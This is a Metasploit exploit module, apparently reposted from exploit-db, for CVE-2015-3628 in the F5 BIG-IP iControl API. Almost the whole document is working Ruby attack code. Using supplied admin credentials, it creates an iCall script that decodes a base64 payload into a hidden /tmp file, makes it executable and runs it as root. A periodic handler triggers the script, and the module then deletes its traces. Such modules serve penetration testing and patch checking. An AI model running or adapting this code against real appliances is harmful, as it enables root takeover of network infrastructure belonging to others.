F5 iControl – ‘iCall::Script’ Root Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2015-11-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38764/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'nokogiri'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
    STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
    LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name' => "F5 iControl iCall::Script Root Command Execution",
    'Description'=> %q{
    This module exploits an authenticated privilege escalation
    vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
    other F5 devices). This requires valid credentials and the Resource
    Administrator role. The exploit should work on BIG-IP 11.3.0
    - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
    for more details)
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'tom', # Discovery, Metasploit module
    'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
    ],
    'References' =>
    [
    ['CVE', '2015-3628'],
    ['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],
    ['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']
    ],
    'Platform' => ['unix'],
    'Arch' => ARCH_CMD,
    'Targets'=>
    [
    ['F5 BIG-IP LTM 11.x', {}]
    ],
    'Privileged' => true,
    'DisclosureDate' => "Sep 3 2015",
    'DefaultTarget'=> 0))
    
    register_options(
    [
    Opt::RPORT(443),
    OptBool.new('SSL', [true, 'Use SSL', true]),
    OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
    OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
    OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
    ])
    register_advanced_options(
    [
    OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]),
    OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
    OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
    OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
    ])
    end
    
    def setup
    file = datastore['FILENAME']
    file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
    @payload_path = ::File.join(datastore['PATH'], file)
    super
    end
    
    def build_xml
    builder = Nokogiri::XML::Builder.new do |xml|
    xml.Envelope do
    xml = xml_add_namespaces(xml)
    xml['soapenv'].Header
    xml['soapenv'].Body do
    yield xml
    end
    end
    end
    builder.to_xml
    end
    
    def xml_add_namespaces(xml)
    ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")
    xml.doc.root.namespace = ns
    xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
    xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
    xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
    xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
    xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
    xml
    end
    
    def send_soap_request(pay)
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path),
    'method' => 'POST',
    'data' => pay,
    'username' => datastore['USERNAME'],
    'password' => datastore['PASSWORD']
    )
    if res
    return res
    else
    vprint_error('No response')
    end
    false
    end
    
    def create_script(name, cmd)
    create_xml = build_xml do |xml|
    xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
    xml.scripts(STRING_ATTRS) do
    xml.parent.namespace = xml.parent.parent.namespace_definitions.first
    xml.item name
    end
    xml.definitions(STRING_ATTRS) do
    xml.parent.namespace = xml.parent.parent.namespace_definitions.first
    xml.item cmd
    end
    end
    end
    send_soap_request(create_xml)
    end
    
    def delete_script(script_name)
    delete_xml = build_xml do |xml|
    xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
    xml.scripts(STRING_ATTRS) do
    xml.parent.namespace = xml.parent.parent.namespace_definitions.first
    xml.item script_name
    end
    end
    end
    print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml))
    res
    end
    
    def script_exists?(script_name)
    exists_xml = build_xml do |xml|
    xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
    end
    res = send_soap_request(exists_xml)
    res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
    end
    
    def create_handler(handler_name, script_name)
    print_status("Creating trigger #{handler_name}")
    handler_xml = build_xml do |xml|
    xml['per'].create(SOAPENV_ENCODINGSTYLE) do
    xml.handlers(STRING_ATTRS) do
    xml.parent.namespace = xml.parent.parent.namespace_definitions.first
    xml.item handler_name
    end
    xml.scripts(STRING_ATTRS) do
    xml.parent.namespace = xml.parent.parent.namespace_definitions.first
    xml.item script_name
    end
    xml.intervals(LONG_ATTRS) do
    xml.parent.namespace = xml.parent.parent.namespace_definitions.first
    # we set this to run once every 24h, but because there is no
    # start/end time it will run once, more or less immediately, and
    # again 24h from now, but by that point hopefully we will have
    # cleaned up and the handler/script/etc are gone
    xml.item 60 * 60 * 24
    end
    end
    end
    res = send_soap_request(handler_xml)
    if res
    if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
    true
    else
    print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}")
    false
    end
    else
    print_error("No response to trigger creation")
    false
    end
    end
    
    def delete_handler(handler_name)
    delete_xml = build_xml do |xml|
    xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do
    xml.handlers(STRING_ATTRS) do
    xml.parent.namespace = xml.parent.parent.namespace_definitions.first
    xml.item handler_name
    end
    end
    end
    
    print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml))
    res
    end
    
    def handler_exists?(handler_name)
    handler_xml = build_xml do |xml|
    xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
    end
    res = send_soap_request(handler_xml)
    res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
    end
    
    def check
    # strategy: we'll send a create_script request, with empty name:
    # if everything is ok, the server return a 500 error saying it doesn't like empty names
    # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
    # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
    # any other response is considered not vulnerable
    res = create_script('', '')
    if res && res.code == 500 && res.body =~ /path is empty/
    return Exploit::CheckCode::Appears
    elsif res && res.code == 401
    print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?")
    return Exploit::CheckCode::Unknown
    else
    return Exploit::CheckCode::Safe
    end
    end
    
    def exploit
    # phase 1: create iCall script to create file with payload, execute it and remove it.
    shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
    cmd = %(exec /bin/sh -c "#{shell_cmd}")
    
    arg_max = datastore['ARG_MAX']
    if shell_cmd.size > arg_max
    print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "\
    "or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"
    return false
    end
    
    script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
    print_status("Uploading payload script #{script_name}")
    unless (create_script_res = create_script(script_name, cmd))
    print_error("No response when uploading payload script")
    return false
    end
    unless create_script_res.code == 200
    print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "\
    "#{create_script_res.code} #{create_script_res.message}")
    return false
    end
    unless script_exists?(script_name)
    print_error("Payload script uploaded successfully but script was not found")
    return false
    end
    register_file_for_cleanup @payload_path
    
    # phase 2: create iCall Handler, that will actually run the previously created script
    handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
    unless create_handler(handler_name, script_name)
    delete_script(script_name)
    return false
    end
    unless handler_exists?(handler_name)
    print_error("Trigger created successfully but was not found")
    delete_script(script_name)
    return false
    end
    print_status('Waiting for payload to execute...')
    
    # if our payload has not been successfully executed just yet, wait
    # until it does or give up
    slept = 0
    until session_created? || slept > datastore['SESSION_WAIT']
    Rex.sleep(1)
    slept += 1
    end
    
    print_status('Trying cleanup...')
    delete_script(script_name)
    delete_handler(handler_name)
    end
    end